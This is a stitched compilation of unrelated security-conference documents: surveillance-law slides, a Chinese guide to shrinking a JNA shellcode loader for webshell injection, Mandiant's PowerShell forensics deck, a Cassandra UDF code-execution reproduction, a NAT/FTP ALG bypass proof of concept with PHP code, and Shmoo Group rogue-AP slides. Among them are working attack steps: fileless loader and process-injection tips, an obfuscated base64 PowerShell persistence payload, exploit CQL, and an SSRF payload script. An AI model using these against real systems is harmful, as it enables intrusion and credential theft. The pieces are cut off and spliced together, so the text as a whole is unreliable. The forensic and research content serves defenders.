Interfaces - Dennis McFarland and Jonathan Wolpaw. “Brain-Computer Interfaces for Communication and Control.” Communications of the ACM, May 2011, Vol. 54, No. 5, pp.60-66. • Feed by M. T. Anderson • My Second Implant by Estragon, 2600, Summer 2010 http://en.wikipedia.org/wiki/File:MouseBCI.jpg The OODA Loop Applies http://en.wikipedia.org/wiki/File:OODA.Boyd.svg Law Resistant Systems • Please include a manual override Security of ALE Systems • Vulnerabilities in Car Electronics • CALEA wiretap infrastructure abuses • http://www.forbes.com/2010/02/03/hackers- networking-equipment-technology-security- cisco.html (probably should cite Tom’s BH talk instead) • Whit Diffie, Susan Landau http://queue.acm.org/detail.cfm?id=1613130 Research Agenda • Metrics to Assess Risk/Benefit • Design for Transparency • Design for Accountability This isn't Going to Happen Overnight http://celebrating200years.noaa.gov/events/earthday/cuyahoga_fire650.jpg Cuyahoga River Fire Be Careful What You Build http://commons.wikimedia.org/wiki/File:Boris_Karloff_as_The_Monster_in_Bride_of_Frankenstein_film_trailer.jpg Three Points (redux) 1. Networked technologies have the potential to automate enforcement of the law. 2. Reckless and pervasive automation can have disastrous and unintended consequences. 3. This audience is in a unique position to defend society and appropriately confront law enforcement systems. For More Information... Lisa Shay, Dominic Larkin, John Nelson, and Gregory Conti. "A Framework for Analysis of Quotidian Exposure in an Instrumented World." IEEE International Carnahan Conference on Security Technology, October 2012. (accepted, to be published) Lisa Shay and Greg Conti. "Countermeasures: Proactive Self-Defense Against Ubiquitous Surveillance.” HOPE 9, July 2012. Lisa Shay, Woodrow Hartzog, John Nelson, Dominic Larkin and Gregory Conti. "Confronting Automated Law Enforcement." We Robot, April 2012. Greg Conti. "Our Instrumented Lives: Sensors, Sensors, Everywhere." DEFCON 18, July 2010. We'd also like to thank John Nelson and Dominic Larkin for their support of this work. For More Information... Lisa Shay, Dominic Larkin, John Nelson, and Gregory Conti. "A Framework for Analysis of Quotidian Exposure in an Instrumented World." IEEE International Carnahan Conference on Security Technology, October 2012. (accepted, to be published) Lisa Shay and Greg Conti. "Countermeasures: Proactive Self-Defense Against Ubiquitous Surveillance.” HOPE 9, July 2012. Lisa Shay, Woodrow Hartzog, John Nelson, Dominic Larkin and Gregory Conti. "Confronting Automated Law Enforcement." We Robot, April 2012. Greg Conti. "Our Instrumented Lives: Sensors, Sensors, Everywhere." DEFCON 18, July 2010. We'd also like to thank John Nelson and Dominic Larkin for their support of this work. Questions? http://www.lobsterhelp.com/images/cookinglobster5.jpg
pdf
1 Jna加载ShellCode优化 起因 修改 最后 @yzddmr6 蚁剑最开始实现java加载shellcode是通过jna的⽅式,这个做法是来源于⼀个apt组织的⽅法 https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/ 但是不是很⽅便的⼀点是这个shellcode loader体积⼤于2m,超过了tomcat默认上传最⼤⻓度。所以之 前⼀直的做法都是先把编译好的jar上传到⽬标服务器,然后⽤URLClassLoader去加载⽂件。虽然⼀开 始jar⼏乎是全⽹免杀的,但是落地还是增加了被识别的⻛险。 后来发现新版哥斯拉4也增加了jna,⽤来加载pe⽂件。研究了⼀下发现他的jna加载器⾮常⼩,只有不 到1m。 研究了⼀下发现beichen师傅的做法很秀,简单来说就是低版本jna+删除⼀把梭。 先是选取了⼀个低版本的jna,⼤概是4.1.0版本。这个版本的jna只有1.4m左右,⽽我⼀开始⽤的⽐较新 的jna版本是5.5.0,体积⼤概位2.5m左右。但是经过测试,旧版本对于加载shellcode是没有影响的。 起因 2 除此之外,beichen师傅还删掉了⼀些⽤不到的其他平台的扩展。 可以看到原版jna⾥还有对很多linux平台下的⽀持: 3 但是shellcode加载器⼀般只在win下使⽤,所以在哥斯拉中都统统删掉了 4 除此之外,还有⼀些elf⽂件解析的类,还有加载shellcode时候⽤不到的类也都通通删掉。 还有⼀些可能是⽤不到的类也删掉了 5 修改的话可以直接把jar当作压缩⽂件打开,不需要解压,然后删除不需要的⽬录。或者最简单的,可以 直接引⽤哥斯拉的loader 按照beichen师傅的做法修改后,我们loader的体积已经⼩于1m了。 这个时候就可以通过内存加载jar,⽽⽆需⽂件落地了。 除此之外,还顺⼿修改了⼀些loader的逻辑。原来插件中遇到32位的java会注⼊⾃⼰,但是为了⻛险考 虑,新版本已经全部修改成了注⼊其他进程,防⽌⼿⼀抖就把站给搞坏了。 新版插件增加了随机注⼊进程,还有⼿动选择注⼊⽬标进程的选项。 另外现在⽀持打64位的shellcode了 修改 6 注⼊指定进程时,填写进程的绝对路径。 7 getpid查看当前进程pid位4356 ps⼀下,发现就是我们启动的arp.exe 有了这个迷你版jna之后,我们就可以⽆⽂件实现所有其他shellcode加载器能够实现的操作。在插件的 默认版本⾥,只是会粗暴的CreateProcess然后往⾥⾯写shellcode。但其实在jna中只要继承 最后 8 StdCallLibrary这个接⼝,就可以调⽤kernel32中的函数。这⾥仅仅是抛砖引⽟,师傅们可以⽤各种姿 势定制化属于⾃⼰的加载器。
pdf
PRESENTED BY: © Mandiant, A FireEye Company. All rights reserved. Investigating PowerShell Attacks Defcon 2014 (Pre-Conference Draft) Ryan Kazanciyan, Matt Hastings © Mandiant, A FireEye Company. All rights reserved. Background Case Study 2 Attacker Client Victim VPN WinRM, SMB, NetBIOS Victim workstations, servers Fortune 100 organization Compromised for > 3 years Active Directory Authenticated access to corporate VPN Command-and-control via Scheduled tasks Local execution of PowerShell scripts PowerShell Remoting © Mandiant, A FireEye Company. All rights reserved. It  can  do  almost  anything… Why PowerShell? 3 Execute commands Reflectively load / inject code Download files from the internet Enumerate files Interact with the registry Interact with services Examine processes Retrieve event logs Access .NET framework Interface with Win32 API © Mandiant, A FireEye Company. All rights reserved. PowerSploit Reconnaissance Code execution DLL injection Credential harvesting Reverse engineering Nishang Posh-SecMod Veil-PowerView Metasploit More  to  come… PowerShell Attack Tools 4 © Mandiant, A FireEye Company. All rights reserved. PowerShell Malware in the Wild 5 © Mandiant, A FireEye Company. All rights reserved. Investigation Methodology 6 evil.ps1 Local PowerShell script backdoor.ps1 Persistent PowerShell Registry File System Event Logs Memory Network Traffic Sources of Evidence WinRM PowerShell Remoting © Mandiant, A FireEye Company. All rights reserved. Has admin (local or domain) on target system Has network access to needed ports on target system Can use other remote command execution methods to: Enable execution of unsigned PS scripts Enable PS remoting Attacker Assumptions 7 © Mandiant, A FireEye Company. All rights reserved. Version Reference 8 2.0 3.0 4.0 Default Default (R2) Default Default Default (SP1) Default (R2 SP1) Requires WMF 3.0 Update Requires WMF 3.0 Update Requires WMF 4.0 Update Requires WMF 4.0 Update Requires WMF 4.0 Update Memory Analysis © Mandiant, A FireEye Company. All rights reserved. Scenario: Attacker interacts with target host through PowerShell remoting What’s  left  in  memory  on  the  accessed  system? How can you find it? How long does it persist? Memory Analysis 10 © Mandiant, A FireEye Company. All rights reserved. WinRM Process Hierarchy 11 Invoke-Command {c:\evil.exe} Client wsmprovhost.exe svchost.exe (DcomLaunch) evil.exe wsmprovhost.exe Get-ChildItem C:\ svchost.exe (WinRM) Remote Host Invoke-Command {Get-ChildItem C:\} Kernel Invoke-Mimikatz.ps1 © Mandiant, A FireEye Company. All rights reserved. Remnants in Memory 12 wsmprovhost.exe svchost.exe (DcomLaunch) evil.exe wsmprovhost.exe Get-ChildItem C:\ svchost.exe (WinRM) Terminate at end of session Remnants of C2 persist in memory Kernel Cmd history Cmd history © Mandiant, A FireEye Company. All rights reserved. Example: In-Memory Remnants 13 SOAP in WinRM service memory, after interactive PsSession with command: echo teststring_pssession > c:\testoutput_possession.txt © Mandiant, A FireEye Company. All rights reserved. Example: In-Memory Remnants 14 WinRM service memory - Invoke-Mimikatz.ps1 executed remotely on target host © Mandiant, A FireEye Company. All rights reserved. XML / SOAP strings /wsman.xsd <rsp:Command> <rsp:CommandLine> <rsp:Arguments> <S N="Cmd“> Known attacker filenames View context around hits Yes, this is painful What to Look For? 15 <rsp:CommandResponse><rsp:CommandId>""xmlns:r sp="http://schemas.microsoft.com/wbem/wsman/1 /windows/shell"""C80927B1-C741-4E99-9F97- CBA80F23E595</a:MessageID><w:Locale xml:lang="en-US" s:mustUnderstand="false" /><p:DataLocale xml:lang="en-US" s:mustUnderstand="false" /><p:SessionId"/w:OperationTimeout></s:Header ><s:Body><rsp:CommandLine xmlns:rsp="http://schemas.microsoft.com/wbem/ wsman/1/windows/shell" CommandId="9A153F8A- AA3C-4664-8600- AC186539F107"><rsp:Command>prompt""/rsp:Comma nd><rsp:Arguments>AAAAAAAAAFkAAAAAAAAAAAMAAAa jAgAAAAYQAgC2Yc+EDBrbTLq08PrufN+rij8VmjyqZEaG AKwYZTnxB++7vzxPYmogUmVmSWQ9IjAiPjxNUz48T2JqI E49IlBvd2VyU2hlbGwiIFJlZklkPSIxIj48TVM+PE9iai BOPSJDbWRzIiBSZWZJZD0iMiI+PFROIFJlZklkPSIwIj4 8VD5TeXN0ZW0uQ29sbG . . . © Mandiant, A FireEye Company. All rights reserved. wsmprovhost.exe • Best source of intact evidence • Only lasts until PS session exits svchost.exe for WinRM • Fragments of evidence • Retention depends on # of remoting sessions • May last until reboot Kernel pool • Fragments of evidence • Brief lifespan, depends on system utilization Pagefile • Fragments of evidence • Brief lifespan, depends on system utilization • May last beyond reboot How Long Will Evidence Remain? 16 © Mandiant, A FireEye Company. All rights reserved. Timing is everything Challenging to recover evidence Many variables System uptime Memory utilization Volume of WinRM activity Memory Analysis Summary 17 Event Logs © Mandiant, A FireEye Company. All rights reserved. Scenario: Attacker interacts with target host through Local PowerShell execution PowerShell remoting Which event logs capture activity? Level of logging detail? Differences between PowerShell 2.0 and 3.0? Event Logs 19 © Mandiant, A FireEye Company. All rights reserved. Application Logs Windows PowerShell.evtx Microsoft-Windows- PowerShell/Operational.evtx Microsoft-Windows- WinRM/Operational.evtx Analytic Logs Microsoft-Windows- PowerShell/Analytic.etl Microsoft-Windows- WinRM/Analytic.etl PowerShell Event Logs 20 © Mandiant, A FireEye Company. All rights reserved. What you do get Start & stop times of activity Loaded providers User account context What  you  don’t  get Detailed history of executed commands Console input / output Analytic logs help (somewhat) Disabled by default High volume of events Encoding & fragmentation PowerShell 2.0 Event Logging 21 © Mandiant, A FireEye Company. All rights reserved. Local PowerShell Execution 22 PowerShell EID 400: Engine state is changed from None to Available. EID 403: Engine state is changed from Available to Stopped. Start & stop times of PowerShell session © Mandiant, A FireEye Company. All rights reserved. Local PowerShell Execution 23 PowerShell Operational** EID 40961: PowerShell console is starting up EID 4100: Error Message = File C:\temp\test.ps1 cannot be loaded because running scripts is disabled on this system ** Events exclusive to PowerShell 3.0 or greater Start time of PowerShell session Error provides path to PowerShell script © Mandiant, A FireEye Company. All rights reserved. Local PowerShell Execution 24 PowerShell Analytic** EID 7937: Command test.ps1 is Started. EID 7937: Command Write-Output is Started. EID 7937: Command dropper.exe is Started ** Events exclusive to PowerShell 3.0 or greater What executed? (arguments not logged) © Mandiant, A FireEye Company. All rights reserved. Remoting (Accessed Host) 25 PowerShell EID 600: Provider WSMan is Started. EID 400: Engine state is changed from None to Available. Start time of PowerShell session Indicates use of PowerShell remoting © Mandiant, A FireEye Company. All rights reserved. Remoting (Accessed Host) 26 WinRM Operational EID 81: Processing client request for operation CreateShell EID 169: User CORP\MattH authenticated successfully using NTLM EID 134: Sending response for operation DeleteShell Who connected via remoting Timeframe of remoting activity © Mandiant, A FireEye Company. All rights reserved. Remoting (Accessed Host) 27 PowerShell Analytic EID 32850: Request 7873936. Creating a server remote session. UserName: CORP\JohnD EID 32867: Received remoting fragment […]  Payload  Length:  752  Payload  Data: 0x020000000200010064D64FA51E7C784 18483DC[…]   EID 32868: Sent remoting fragment […]   Payload Length: 202 Payload Data: 0xEFBBBF3C4F626A2052656649643D22 30223E3[…]   Who connected via remoting Encoded contents of remoting I/O © Mandiant, A FireEye Company. All rights reserved. PS Analytic Log: Encoded I/O 28 Invoke-Command {Get-ChildItem C:\} © Mandiant, A FireEye Company. All rights reserved. PS Analytic Log: Decoded Input 29 Invoke-Command {Get-ChildItem C:\} © Mandiant, A FireEye Company. All rights reserved. PS Analytic Log: Decoded Output 30 Invoke-Command {Get-ChildItem C:\} © Mandiant, A FireEye Company. All rights reserved. Set global profile to log console command activity %windir%\system32\WindowsPowerShell\v1.0\ profile.ps1 Use Start-Transcript cmdlet Records all session input / output to text file Overwrite default prompt function Intercept commands and add to event log Only works for local PowerShell execution Can run PowerShell without loading profiles Other Logging Solutions for PS 2.0 31 © Mandiant, A FireEye Company. All rights reserved. AppLocker – Script rules Other Logging Solutions for PS 2.0 32 © Mandiant, A FireEye Company. All rights reserved. PowerShell 3.0: Module Logging 33 Computer Configuration  →   Administrative Templates  →   Windows  Components  →   Windows  PowerShell  → Turn on Module Logging Solves (almost) all our logging problems! © Mandiant, A FireEye Company. All rights reserved. Module Logging Examples 34 ParameterBinding(Get-ChildItem): name="Filter"; value="*.txt" ParameterBinding(Get-ChildItem): name="Recurse"; value="True" ParameterBinding(Get-ChildItem): name="Path"; value="c:\temp" ParameterBinding(Select-String): name="Pattern"; value="password" ParameterBinding(Select-String): name="InputObject"; value="creds.txt" ... Command Name = Get-ChildItem User = CORP\MHastings ParameterBinding(Out-Default): name="InputObject"; value="C:\temp\creds.txt:2:password: secret" ParameterBinding(Out-Default): name="InputObject"; value="C:\temp\creds.txt:5:password: test" Microsoft-Windows-PowerShell/Operational (EID 4103) Get-ChildItem c:\temp -Filter *.txt -Recurse | Select-String password Logged upon command execution Logged upon command output © Mandiant, A FireEye Company. All rights reserved. Module Logging Examples 35 Invoke-Mimikatz.ps1 via remoting Detailed  “per- command”   logging © Mandiant, A FireEye Company. All rights reserved. Module Logging Examples 36 Invoke-Mimikatz.ps1 via remoting Mimikatz output in event log Persistence © Mandiant, A FireEye Company. All rights reserved. Scenario: Attacker configures system to load malicious PS upon startup / logon Why persist? Backdoors Keyloggers What are common PS persistence mechanisms? How to find them? PowerShell Persistence 38 © Mandiant, A FireEye Company. All rights reserved. Registry  “autorun”  keys Scheduled tasks User  “startup”  folders Easy to detect Autorun review Registry timeline analysis File system timeline analysis Event log review Common Techniques 39 At1.job At1.job At1.job © Mandiant, A FireEye Company. All rights reserved. Persistence via WMI 40 Set-WmiInstance Namespace:  “root\subscription” EventFilter Filter name, event query CommandLineEventConsumer Consumer name, path to powershell.exe FilterToConsumerBinding Filter name, consumer name Set-WmiInstance Set-WmiInstance Use WMI to automatically launch PowerShell upon a common event © Mandiant, A FireEye Company. All rights reserved. Query that causes the consumer to trigger Event Filters 41 SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325 Run within minutes of startup SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 12 AND TargetInstance.Minute = 00 GROUP WITHIN 60 Run at 12:00 © Mandiant, A FireEye Company. All rights reserved. Launch  “PowerShell.exe”  when  triggered  by  filter Where does the evil PS code load from? Event Consumers 42 sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStream][Convert]::FromBase64 String('7L0HYBxJliUmL23Ke39K9UrX4HShCIBgEyTYkEAQ7MGIzeaS7B1pRyMpqyq BymVWZV1mFkDM7Z28995777333nvvvfe6O51OJ/ff/z9cZmQBbPbOStrJniGAqsgfP3 58Hz8ivlsXbb795bpdrdv0o2/nZVml363qcvbR/xMAAP//'),[IO.Compression.Co mpressionMode]::Decompress)),[Text.Encoding]::ASCII)).ReadToEnd() Stored in user or system-wide  “profile.ps1” Set-WmiInstance -Namespace "root\subscription" -Class 'CommandLineEventConsumer' -Arguments @{ name='TotallyLegitWMI';CommandLineTemplate="$($Env:SystemRoot)\Syst em32\WindowsPowerShell\v1.0\powershell.exe - NonInteractive";RunInteractively='false'} Added to Consumer Command-Line Arguments (length  limit,  code  must  be  base64’d) © Mandiant, A FireEye Company. All rights reserved. Enumerating WMI Objects with PowerShell 43 Get-WMIObject –Namespace root\Subscription -Class __EventFilter Get-WMIObject -Namespace root\Subscription -Class __EventConsumer Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding © Mandiant, A FireEye Company. All rights reserved. PS WMI Evidence: File System 44 WBEM repository files changed (common) sal a New-Object;iex(a IO.StreamReader((a IO.Compression.DeflateStream([IO.MemoryStr eam][Convert]::FromBase64String('7L0HYBxJl iUmL23Ke39K9UrX4HShCIBgEyTYkEA... Global or per-user “profile.ps1”  changed   (if used to store code) Strings in “objects.data” © Mandiant, A FireEye Company. All rights reserved. PS WMI Evidence: Registry 45 Key Value Data HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WBEM\ ESS\//./root/CIMV2\Win32ClockProvider [N/A] [N/A] Key Last Modified 06/04/14 01:30:03 UTC Created only when setting a time-based WMI filter (many other types of triggers may be used) © Mandiant, A FireEye Company. All rights reserved. SysInternals AutoRuns (v12) Memory: WMI filter & consumer names svchost.exe (WinMgmt service) WmiPrvse.exe Event logs: WMI Trace Too noisy PS WMI Evidence: Other Sources 46 Conclusions © Mandiant, A FireEye Company. All rights reserved. Refer to whitepaper Prefetch file  for  “PowerShell.exe” Local execution only Scripts in Accessed File list Registry PowerShell  “ExecutionPolicy”  setting Network traffic analysis (WinRM) Port 5985 (HTTP) / port 5986 (HTTPS) Payload always encrypted Identify anomalous netflows Other Sources of Evidence 48 © Mandiant, A FireEye Company. All rights reserved. Upgrade to PS 3.0 and enable Module Logging if possible Baseline legitimate usage in environment ExecutionPolicy setting Remoting enabled Script naming conventions, paths Which users Source systems Destination systems Recognize artifacts of anomalous usage Lessons Learned 49 © Mandiant, A FireEye Company. All rights reserved. Matt Graeber Joseph Bialek Chris Campbell Lee Holmes David Wyatt David Kennedy Josh Kelley All the other PowerShell authors, hackers, and researchers! Acknowledgements 50 © Mandiant, A FireEye Company. All rights reserved. [email protected] @ryankaz42 [email protected] @HastingsVT Questions? 51
pdf
author:Y4er 环境 Cassandra 4.0.0 漏洞分析 先说原理,enable_user_defined_functions_threads为false时会隐式禁用security-manager,导致 可以通过udf执行java代码。 官方公告 https://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40 使用以下配置 enable_user_defined_functions: true enable_scripted_user_defined_functions: true enable_user_defined_functions_threads: false 攻击者有可能在主机上执行任意代码。搜了下文档,发现有一个function的功能。 用户可以创建udf(用户自定义函数)来执行自定义代码。 默认支持java或者javascript两种。简单看了下代码 org.apache.cassandra.cql3.functions.UDFunction#create 这个地方会创建对应的代码引擎,这两 个引擎都继承自UDFunction,并且被设置了一个自定义的classloader: UDFunction.udfClassLoader 这个classloader找class时会进行过滤 secureResource函数定义如图 会遍历黑白名单,要求既要在白名单中并且不在黑名单中。 白名单 黑名单 可以用 java.lang.System.load('/tmp/aaa.so'); 来加载恶意的so文件达到执行命令的目的。 复现 CREATE KEYSPACE test WITH replication = {'class': 'SimpleStrategy', 'replication_factor' : 3}; CREATE TABLE tab (cmd text PRIMARY KEY) WITH comment='Important biological records'; CREATE OR REPLACE FUNCTION exec1(cmd text) RETURNS NULL ON NULL INPUT RETURNS text LANGUAGE javascript AS $$ java.lang.System.load('/tmp/aa.so'); $$; select test.exec1(cmd) from tab; 如果你一直报 java.security.AccessControlException: access denied 的异常 就是没改conf/cassandra.yaml配置文件,要加上这一行 so文件怎么生成参考园长的文章: https://www.javaweb.org/?p=1866 参考 1. https://lists.apache.org/thread/r0593lq5dto52fgw8y2vvcydc2tdyq40 2. https://cassandra.apache.org/doc/latest/cassandra/cql/functions.html 3. https://tttang.com/archive/1436/ 4. 园长的文章 文笔垃圾,措辞轻浮,内容浅显,操作生疏。不足之处欢迎大师傅们指点和纠正,感激不尽。
pdf
bypass NAT 0x00 portswiggertop-10-web-hacking-techniques-of-2020-nominations-open2020 https://portswigger.net/research/top-10-web-hacking-techniques-of-2020-nominations-open https://samy.pl/slipstream/ NATslipstreaming nat nat rrrrrr 0x01 nat slipstreamhttps://samy.pl/slipstream/ https://forum.butian.net/share/88 github2009https://github.com/rtsisyk/linux-iptables-contrack-exploit nf_conntrackhttps://clodfisher.github.io/2018/09/nf_conntrack/ iptables sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT inputESTABLISHEDtcpubuntu https://help.ubuntu.com/community/IptablesHowTo ESTABLISHEDtcp inputtcpRELATEDALG ALGFTPRELATEDALG TCPTCP ALGwiki ALGNAT2010 nat slipstreamSIPFTP SIP 1. SIP 2. 3. jspost 4. MTUpostSIP 5. SIPRELATED 0x02 FTP ALG SIPSIPFTP iptablesFTP FTPALG 1. nf_conntrack 2. nf_conntrack_ftp 3. inputrelated nf_xxxLinuxubuntu20 nf_conntrack_ftpftpALGLinux ubuntu20 FTP https://www.cnblogs.com/mawanglin2008/articles/3607767.html FTP USER admin PASS admin PORT 127,0,0,1,0,22 port portip8848 0x22900x220x9034,144127.0.0.18848 PORT 127,0,0,1,34,144 EPRT |1|127.0.0.1|8848| payloadport 0x03 1. TCP 2. 3. SSRFSSRFSSRF SSRF SSRFSSRF GET nf_conntrack_ftp 1. ESTABLISHED 2. 3. TCP PAYLOAD 4. PORTEPRT 5. 6. 21 httptcp http tcp flagpush1pushtcphttptcp tcptcppush HTTPSSRF 1. gophergophertcppayloadpush 2. 30xhttp30x30x payloadPORThttpGETPOST 3. pipelinepipelinepipeline 4. httppushhttptrunk 0x04 http curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21 postpush 1 1post Expect: 100-continue https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Status/100 post bodyExpectpost body post bodypushtcp SSRF curl -X POST -T x.txt http://xxx.xxx.xxx.xxx:21 phpcurl https://gist.github.com/perusio/1724301 phpcurlpost1024expect php post 1. body1024 2. 3. phpdemo <?php for ($i=0; $i < 1; $i++) { echo "$i"; request("http://172.28.64.142:21"); } function request($url) { $requestData = "EPRT |1|172.28.64.19|8848|\r\n\r\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, $requestData); $data = curl_exec($ch); curl_close($ch); } http 0x05 sudo iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT sudo iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT sudo iptables -P INPUT DROP php nc -l 0.0.0.0:10000 nc -vv xxxxx 10000 post 0x06 1. pipeline 2. websocket21 3. ssrftcpjdbc 4. getshellshellshell nat 5. natnat 6. ALG SSRF 0x07 related https://home.regit.org/netfilter-en/secure-use-of-helpers/ ?> 0x08 wiresharknat slipstream
pdf
DefCon 13 Shmoo-Fu: Hacker Goo, Goofs, and Gear with the Shmoo The Shmoo Group www.shmoo.com DefCon 13 What's up Shmoo? ● Howdy & introductions... ● Our festivities will include: – IDN Fallout & Homograph Attacks for Personal Identities – Super Spy Stuff – Revving Up Rainbow Tables – Rogue Squadron & EAP Peeking – Shooting Your Security Wad – Don't Try This at Home – And MORE! DefCon 13 Stickers anyone? DefCon 13 IDN Fallout ● At ShmooCon 2005, Eric Johansen dropped the browser bomb regarding IDN issues. ● The press ran with it a bit. ● The folks responsible for IDN ranted for a bit. ● But did anything concrete occur? ● And where are we now? DefCon 13 1337 Personal Identities ● So Ericj is now 3ricj, BTW. ● Oh snap. That rhymes. ● Where does the system break down when your name doesn't quite conform? ● Does 3ricj get more fan mail? ● Can the man keep your 1337 identity down? DefCon 13 And now... Pablos. DefCon 13 Super Spy Stuff ● Robots got boring, so Pablos starting hanging out with models after his chic hacker photo shoot in FHM. ● The result was nothing short of spectacular, as the fashionable cell-phone stowaway strifes hot women face were finally addressed. DefCon 13 While Pablos discusses the alien technology inner workings of his secret ninja lair, you can stare at this... DefCon 13 DefCon 13 Dan Moniz goes crazy... DefCon 13 rainbowtables.shmoo.com ● We think rainbow tables are neat. ● Just for fun, we started hosting rainbow tables that we had generated. – LanMan – Via Bittorrent – FREE ● Some people liked that. Yay! ● Some people didn't... DefCon 13 ---------- Forwarded message ---------- From: Zhu Shuanglei <[email protected]> Date: Mar 10, 2005 12:42 AM Subject: About your shmoo site To: [email protected] Hi, I am Zhu Shuanglei, the author of RainbowCrack software. I notice you are offering free BitTorrent links on your website for the rainbow tables. For those guys selling the table without permission from me, they are not welcome. But you are worse. As you may know, I develop the rainbowcrack tool and release it the the public for free. I just want to introduce the technique to the world and those need it can benifit from this software. If I sell the tables, I am only making some money for my work and for the fee of hosting my website and for my computing resource. This should be quite reasonable. I am not a business man, if I am there will not be the source code or table generation tool free on the net and I can make a lot of money. Are you feeling you are cool "Because knowing all passwords is cooler than trying to crack one. ;)". All over the world there will be a lot of guys can do what you do, they aren't. Do you know why? To show off prove neither your ability nor your knowledge. If possible, please keep honour of my intellectual property of this software, and let those need the tables to generate by themself. If everyone act like you there will be no reason for me to develop this software further or develop other useful software. Or I will never release anything useful to the public. Don't be crazy any more! Best Regards, Zhu Shuanglei DefCon 13 Revving Up Rainbow Tables ● So, badass LanMan tables are online now via Bittorrent, and still for FREE. ● Sorry for the delay! ● Meanwhile, Dan decided to “be crazy” a bit more. ● We don't need your stinkin' code, Zhu! ● And Snax says, “FUCK OFF!” DefCon 13 New Wi-Fi kung-fu from Beetle... DefCon 13 Why oh why do we Wi-Fi? ● Who here has an open wireless network at home? At work? ● Crap! My Tivo can't do WPA. Neither can my PSP. Ummm... does it matter? ● When and where should we Wi- Fi? – Coffee Shops? Airports? Hospitals? Banks? Ummm... Nuclear Power Plants? DefCon 13 Where did we go wrong? Where are we going? ● Technology of convenience versus the inconvenience of securing it. ● The poor, poor users were left out in the authentication cold. ● Half-ass security standards pass the buck and / or provide defacto insecure options. ● Security acronyms have taken precedence over proper implementation. DefCon 13 DefCon 13 DefCon 13 How the FUCK does the user know?! DefCon 13 Access Point SSID: “goodguy” SSID: “badguy” Stronger or Closer Access Point “ANY” Wi-Fi Card SSID: “goodguy” “badguy” DefCon 13 Rogue AP Attacks Normal Gear @ 25mW (14dBm) Cisco Gear @ 100mW (20dBm) Senao Gear @ 200mW (23dBm) Use a 15dBd antenna with a Senao for 38dBd total... 6 WATTS! VS 25mW? BAD GUY WINS! NO CONTEST! Choose your Wi-Fi weapon... DefCon 13 DefCon 13 DefCon 13 DefCon 13 Rogue RADIUS ● Who says rogue APs can't be used against corporate wireless networks? ● There are plenty of ways to screw up EAP. ● FreeRADIUS provides a simple & easy way to accept EAP credentials – Integrates nicely with hostapd. ● Can allow for “EAP Peeking”... DefCon 13 EAP Authentication Server Supplicant Wireless Wired Authenticator EAPOL-Start EAP-Request / Identity EAP-Response / Identity EAP-Response / Identity EAP-Request EAP-Request EAP-Response EAP-Request EAP-Success EAP-Success & Key EAP-Key DefCon 13 EAP-TLS Authentication Server w/ Certificate Supplicant w/ Certificate Wireless Wired Authenticator EAP-Success EAP-Success & Key EAP-Key 802.11 Authentication & Association 802.1x EAP Protocol Exchange 802.1x EAP-TLS Protocol Exchange DefCon 13 EAP-TTLS Authentication Server w/ Certificate Supplicant Wireless Wired Authenticator EAP-Success EAP-Success & Key EAP-Key 802.11 Authentication & Association 802.1x EAP Protocol Exchange 802.1x EAP-TTLS Protocol Exchange Secure Tunnel Established User Credentials Exchanged DefCon 13 EAP-TTLS Weakness Authentication Server w/ Certificate Supplicant Authenticator 802.1x EAP Protocol Exchange 802.1x EAP-TTLS Protocol Exchange Secure Tunnel Established w/o Remote Certificate Check? User Credentials Given Up? Previous EAP-TTLS Authentication Established Rogue AP + RADIUS DISASSOCIATED! 802.11 Authentication & Association DefCon 13 2. Learn username & password. EAP-TTLS w/ PAP Attack? RADIUS Server Windows XP w/ SP2 Wireless Wired EAP-TTLS w/ PAP over TLS Rogue AP w/ Rogue RADIUS Server 1. Disassociate users. 3. Disassociate, copy creds to local EAP config. 4. Impersonate victim with legit username & password whenever. DefCon 13 All Your PAP... Google for targets, if you like. ;) DefCon 13 All Your CAs... The “All or None” Vulnerability DefCon 13 2. Learn DOMAIN and username w/ rogue AP. PEAP Attack? RADIUS Server Windows XP SP2 Wireless Wired PEAP w/ MSCHAPv2 over TLS Rogue AP w/ Rogue RADIUS Server 1. Disassociate users. 3. Disassociate, seed local password file. 5. Repeat #3. Authentication success = correct password guessed! 4. User continuously attempts to re- authenticate. DefCon 13 EAP Peeking Attack Demo DefCon 13 Wireless Weaponry for Windows ● But rogue AP attacks require a “sophisticated hacker”, right? Wrong. ● SoftAP + TreeWalk + Apache + ActivePerl = Airsnarf for Windows – http://airsnarf.shmoo.com/airsnarf4win.html – “Evil Twin Access Points for Dummies” ● But why only run one rogue AP, when you can run two... or three? DefCon 13 Windows Rogue AP Attack Demo DefCon 13 Rogue Squadron Demo DefCon 13 Heeeeeeere's Rodney! DefCon 13 Shooting Your Security Wad (Never let Beetle title your slides) DefCon 13 Why is Rodney ranting now? ● Been doing product reviews (public and private) ● Keep seeing some incredibly lame product “features” ● There’s a risk of FPGS (Ford Pinto Gastank Syndrome) DefCon 13 Three Hard Questions? ● Does your product produce an external log? ● Do you have a security incident report mechanism? ● Does your product store it’s key material securely? Why are these hard questions in 2005? DefCon 13 Don’t make things worse ● Text t.b.d. DefCon 13 Stupid Vendor Tricks ● (things you can’t believe a security vendor would try to sell to a security customer.) DefCon 13 Attacks you should try ● (Things you already knew that you should try on your security infrastructure) DefCon 13 How you can make things better ● (We’re not the bad guys. We’re trying to be educated consumers. Here’s some 